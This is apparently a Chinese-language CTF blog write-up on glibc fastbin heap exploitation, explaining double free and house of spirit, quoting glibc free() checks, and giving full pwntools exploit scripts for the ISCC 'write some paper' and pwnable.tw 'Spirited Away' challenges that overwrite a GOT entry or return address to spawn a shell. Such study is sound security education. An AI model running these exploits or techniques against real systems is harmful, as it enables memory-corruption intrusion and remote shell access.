Fastbin Attack
暫時接觸到了兩種針對堆分配機制中fastbin的攻擊方式,double free和house of spirit
Double free
基本原理
與uaf是對free之后的指針直接進行操作不同,double free通過利用fastbin對堆的分配機制,改寫在fastbin中的chunk,實現對指定內存的堆塊分配。
先正常釋放chunk1和chunk2
此時重新釋放chunk1(連續兩次釋放相同的堆塊會報錯)
double free通過在fastbin數組中形成main_arena -> chunk1 -> chunk2 -> chunk1結構分配malloc並向其中寫入之后,fastbin中仍存在chunk2和chunk1,且chunk1的fd指針已經被改寫,因為分配出去的和在fastbin中的指向的是相同的內存區域。
之后將chunk2和chunk1分配出去,再次進行分配相同大小堆塊的時候就會將指定地址的內存區域當做堆塊分配出去,從而進行操作。malloc檢查
fastbin中堆塊的結構如圖
其中size of previous chunk 和 size of chunk各占去8bytes(x64)。
在進行malloc分配堆塊的時候,會進行對待分配內存的檢查,但只是檢查堆塊大小標志位和將分配的堆塊的大小是否符合,所以只需在構造時利用字節錯位等,找到合適的位置,保證這個地址的數據滿足是0x******** 000000××的形式。"xx" + 0x10在fastbin的范圍內便能夠通過檢驗。
1.因為在比較中,后者是4bytes,所以只要保證選取的size of data的低4bytes滿足0x000000xx即可,而前面無所謂即為0x********。
2.沒有對其檢查,所以可以隨意搞偏移,而不必要找8的倍數作為地址。分析ISCC的write some paper,存在double free,且存在一個"gg"函數直接獲得shell,則可以通過覆寫got表,將某個函數的got中的地址替換為gg函數的地址,所以需要在got表前面不遠處找到一個合適的地址能夠實現繞過malloc對堆塊大小的檢查。
0x602000是.got.plt表的開始地址,偏移出兩個字節就能夠構造出很多滿足size要求的結構。 如此選擇一個合適的地址設為A,則chunk起始地址為A-8(pre size),usrdata(fd指針與之同體)部分為A+8,且上一個fd指向地址為A-8。
構造的xx大小-0x10,為malloc的參數,即返回的usrdata大小。Addition
需要調用函數系統函數時,需要使用第一次調用的系統函數(即進行dl_resolve)時,不要覆寫_GLOBAL_OFFSET_TABLE_部分,否則將導致系統函數不能正確調用。
如果開了full relro的話 got表是不能改的 這個時候一般用double free控制freehook _mallochook。However,glibc2.27直接把hook這個機制取消。gg。
貼上ISCC 那道題的代碼,恩,沒錯面向過程暴力型,不知道為啥本地跑不動了,印象中遠程是這么拿到flag的。
View Code#!/usr/bin/env python # -*-coding=utf-8-*- from pwn import * context.log_level = 'debug' io = process("./pwn3") # io = remote('47.104.16.75',8999) elf = ELF('./pwn3') # gdb.attach(io,'b * main +53') secret = elf.symbols['secret'] gg = elf.symbols['gg'] puts_got = elf.got['puts'] fakechunk = 0x602032 payload = 'a' * 6 + p64(gg) * 2 # malloc first chunk io.recvuntil('delete paper\n') io.sendline('1') io.recvuntil('9):') io.sendline('1') io.recvuntil("ter:") io.sendline('48') io.recvuntil('content:') io.sendline("first") # malloc second chunk io.recvuntil('delete paper\n') io.sendline('1') io.recvuntil('9):') io.sendline('2') io.recvuntil("ter:") io.sendline('48') io.recvuntil('content:') io.sendline("second") # gdb.attach(io,'b * 0x4008f8') # free the first chunk io.recvuntil("delete paper\n") io.sendline('2') io.recvuntil('9):') io.sendline("1") # free the second chunk io.recvuntil("delete paper\n") io.sendline("2") io.recvuntil('9):') io.sendline('2') # free the first chunk io.recvuntil("delete paper\n") io.sendline('2') io.recvuntil('9):') io.sendline("1") # malloc the first chunk io.recvuntil("delete paper\n") io.sendline('1') io.recvuntil('9):') io.sendline('1') io.sendline('48') io.sendline(p64(fakechunk)) # malloc the second and the first' chunk for i in range(2): io.recvuntil("delete paper\n") io.sendline('1') io.recvuntil('9):') io.sendline('1') io.recvuntil('enter:') io.sendline('48') io.sendline('malloc the second and the first* chunk') # malloc the fakechunk io.sendline("1") io.sendline('2') io.sendline('48') io.sendline(payload) # io.sendline('3') io.interactive() io.close()M4x的函數型,為啥本地也跑不動了
View Code#!/usr/bin/env python # -*-coding=utf-8-*- from pwn import * from time import sleep import sys # context.terminal = ["deepin-terminal", "-x", "sh", "-c"] elf = ELF("./pwn3") if sys.argv[1] == "l": context.log_level = "debug" # env = {'LD_PRELOAD': ''} # io = process("", env = env) io = process("./pwn3") libc = elf.libc else: io = remote("47.104.16.75", 8999) # libc = ELF("") def DEBUG(): raw_input("DEBUG: ") gdb.attach(io, "b *0x400B26") def add(idx, length, content): io.sendlineafter("2 delete paper\n", "1") sleep(0.01) io.sendlineafter(":", str(idx)) sleep(0.01) io.sendlineafter(":", str(length)) sleep(0.01) io.sendlineafter(":", content) sleep(0.01) def delete(idx): io.sendlineafter("2 delete paper\n", "2") sleep(0.01) io.sendlineafter(":", str(idx)) sleep(0.01) if __name__ == "__main__": fakeChunk = 0x602030+2 add(0, 0x30, '0000') add(1, 0x30, '1111') delete(0) # 0 delete(1) # 1 -> 0 delete(0) # 0 -> 1 -> 0 add(0, 0x30, p64(fakeChunk)) # 1 -> 0 -> fakeChunk add(1, 0x30, '1111') # 0 -> fakeChunk add(2, 0x30, '2222') # fakeChunk # payload = 'aaaaaaaabbbbbbbbccccccccdddddddd' payload = p8(0) * (3 * 8 - 2) + p64(elf.sym['gg']) * 2 # DEBUG() add(3, 0x30, payload) io.sendlineafter("2 delete paper\n", "2") # trigger strtol # delete(0) io.interactive() io.close()
House of spirit
精神之屋?
一種針對fastbin的組合漏洞利用方式。Reference
與double free相比,double free是在利用重寫fastbin列表中的fd指針實現對目標地址的分配。而house of spirit則是在目標內存前后可控的情況下,主動的修改一個堆指針,使其指向目標地址,並通過提前改寫目標內存前后的數據,使之滿足malloc的檢查和free的檢查,加入fastbin中,繼而實現對目標地址的分配。
>
The House of Spirit is a little different from other attacks in the sense that it involves an attacker overwriting an existing pointer before it is ‘freed’. The attacker creates a ‘fake chunk’, which can reside anywhere in the memory (heap, stack, etc.) and overwrites the pointer to point to it. The chunk has to be crafted in such a manner so as to pass all the security tests. This is not difficult and only involves setting the size and next chunk’s size. When the fake chunk is freed, it is inserted in an appropriate binlist (preferably a fastbin). A future malloc call for this size will return the attacker’s fake chunk. The end result is similar to ‘forging chunks attack’ described earlier.基本過程
1.通過漏洞能夠控制一個堆指針,能夠實現覆寫。
2.在可控內存區域(目標內存)能夠構造一個fake chunk。
3.將該堆指針改寫為目標內存,並將其free,使其進入fastbin中。
4.再次malloc實現對目標區域的控制。利用關鍵
HOS的關鍵在於在目標內存附近構造合適的fake chunk, 使其能夠通過安全檢查。(以x64為例)
static void _int_free (mstate av, mchunkptr p, int have_lock) { /* We know that each chunk is at least MINSIZE bytes in size or a multiple of MALLOC_ALIGNMENT. 檢查chunk的size是否滿足大小和對齊的要求*/ if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size))){ errstr = “free(): invalid size”; goto errout; } check_inuse_chunk(av, p);/*If eligible, place chunk on a fastbin so it can be found and used quickly in malloc.*/ //fastbin的free操作 if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())) { //檢查size位的大小是否滿足要求 if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0) || __builtin_expect (chunksize (chunk_at_offset (p, size)) >= av->system_mem, 0)) { /* We might not have a lock at this point and concurrent modifications of system_mem might have let to a false positive. Redo the test after getting the lock. 檢查nextchunk的size大小是否滿足要求*/ if (have_lock || ({ assert (locked == 0);mutex_lock(&av->mutex);locked = 1; chunk_at_offset (p, size)->size <= 2 * SIZE_SZ || chunksize (chunk_at_offset (p, size)) >= av->system_mem; })){ errstr = "free(): invalid next size (fast)"; goto errout; } ........................................................................... } //free的過程
1. 對齊檢查
在此處的檢查中,要求堆塊具有16bytes對齊,所以chunk header的起始地址應為0x**0的形式。
2. fake chunk 的size大小檢查
按照上文中chunk的結構布局,使當前fake chunk的size為合適的大小,能夠充足利用並且加入fastbin(0x10-0x80),
3. next chunk 的size大小檢查
除了當前chunk的大小,與目標地址物理相鄰的內存空間也應按照堆塊的結構將size位置改寫為能夠加入fastbin的合適的大小的數值。
4. 標記位檢查
This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREVINUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED_ (second lsb) and _NON_MAIN_ARENA (third lsb) bits cause problems…. note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.所以為了應對malloc的檢查,應當把A|M|P中的A、M兩位都置0,否則會在free時無法加入fastbin中或者在malloc時出現問題。
利用方式
這是一種同時利用堆和棧的利用方式,能夠實現任意地址寫。通常用來改寫執行語句,如返回地址函數指針等。
應用-Pwnable.tw_Spirited Away
這道題首先要利用程序中的sprintf函數,在comment數量>=100的時候,字符串中的最后一個字母‘n’將溢出覆蓋至值為60的變量,因而在之后的輸入中,由此變量控制長度的輸入將能夠輸入ord(‘n’) = 110 個字符,從而進行后續操作。
1.先通過輸出,得到棧地址和一個libc中存在的全局變量的地址從而得到libc偏移量。
2.然后添加comment到100,使sprintf溢出,使讀入的name和comment長度達到110,在后續輸入comment的時候能夠覆寫name指針。
3.在棧的合適位置構造堆塊結構,將指向棧中的指針free。
4.將指向棧的指針重新分配之后,可以向其中寫入,並且超過堆的長度,實現堆返回地址的修改,控制程序流程。
程序運行過程中,堆結構如圖,當前ebp指針指向當前函數棧基址,其中存儲值為main函數的棧基址,因而可以根據其相對位置關系確定當前函數中各個變量的地址。其后的IO_2_1_stdout等為函數中的全局變量,可據之確定libc中的偏移,為獲得其他庫函數在內存中的真實地址做鋪墊,以上變量均可通過程序打印出。
當前fastbin中的數據,可以確定要偽造的堆塊的presize和size位的值。
將堆塊偽造在reason字符串處,並在usrdate前后分別按照fastbin中chunk的結構進行布置。
//存疑:程序中是malloc(60),即0x3C + 8 = 0x44,但是這里將usrdata設為0x41,可能是因為usrdata可以使用下一個堆塊的pre_size?因而將分配的內存空間減去了該部分的大小?
隨后在新分配的chunk中寫入即可,長度可以超過chunk長度,而溢出覆蓋到返回地址和調用函數的參數,執行system(“/bin/sh”)函數。不過這里有一個巨坑就是程序本身有缺陷,沒有進行清空輸入緩沖區,導致經過多次輸入后出現程序執行錯亂,按照正常輸入順序將導致棧結構被破壞,所以根據調試過程中的情況,省略了部分輸入,以維持輸入的穩定,能夠將數據寫入正確的內存位置當中。
View Code#!/usr/bin/env python # encoding: utf-8 from pwn import * from sys import argv from time import sleep context.terminal = ["deepin-terminal", "-x", "sh", "-c"] # context.log_level = 'debug' elf = ELF('./spirited_away') if argv[1] == 'l': io = process('./spirited_away') libc = elf.libc else: io = remote("chall.pwnable.tw", 10204) libc = ELF('./libc_32.so.6') def enter(name,age,reason,comment): io.recvuntil('name: ') io.send(name) # sleep(0.01) io.recvuntil('age: ') io.sendline(str(age)) # sleep(0.01) io.recvuntil('movie? ') io.send(reason) # sleep(0.01) io.recvuntil('comment: ') io.send(comment) # pause() # sleep(0.01) # leak the ebp address and get the libc base gdb.attach(io, 'b * 0x804870a') enter('a' * 60, 0x11223344, 'b' * 80, 'c' * 60) ebp = u32(io.recvuntil('\xff')[-4: ]) print '*****************' print 'ebp -> ' + hex(ebp) libcBase = u32(io.recvuntil('\xf7')[-4: ]) - libc.sym['_IO_2_1_stdout_'] print 'libcbase -> ' + hex(libcBase) print '*****************' # make the cnt to 100 to overflow for i in range(100): io.sendafter('<y/n>: ', 'y') enter('a' * 60, 0x11223344, 'b' * 80, 'c' * 60) sleep(0.02) print i # overflow the string to sprintf, and the n60 will be ord('n') = 110 context.log_level = 'debug' sys_addr = libcBase + libc.sym['system'] binsh = libcBase + next(libc.search('/bin/sh')) print 'sysaddress -> ' + hex(sys_addr) print 'binsh -> ' + hex(binsh) raw_input() print 'cover the address of [name]' sleep(0.5) io.sendafter('<y/n>: ', 'y') # name = 'a' * 60 # age = # 0x45 = 60 for usrdata 4 for presize 4for size and one for preinuse update : 0x41 for the result of debug reason = p32(0) + p32(0x41) + 'a' * 56 + p32(0) + p32(0x41) fake_address = ebp - 0x68 print 'fakeaddress -> ' + hex(fake_address) raw_input() comt = 'a' * 80 + '1234' + p32(fake_address) + p32(0) + p32(0x41) # + 'a' * 14 # enter('a' * 60, 0x11223344, reason, comt) # raw_input() #由於程序自身缺陷,按照正常的輸入順序導致站結構被破壞,不得不根據調試過程中程序的運行流程,去掉對age的輸入。 io.sendafter('name: ', "a" * 60) io.sendafter('movie? ', reason) io.sendafter('comment: ', comt) # cover the ret address and the argvs io.sendafter('y/n>: ', 'y') print "cover the ret address and the argvs" sleep(0.5) payload = 'a' * 76 + p32(sys_addr) + 'abcd' + p32(binsh) # enter(payload, 0, 'bless', 'god bless me!') # raw_input() io.sendafter('name: ', payload) io.sendafter('movie? ', 'god bless me!') io.sendafter('comment: ', 'this is the comment!') io.sendafter('<y/n>: ','n') io.interactive() io.close()
作者:辣雞小譜尼
出處:http://www.cnblogs.com/ZHijack/
如有轉載,榮幸之至!請隨手標明出處;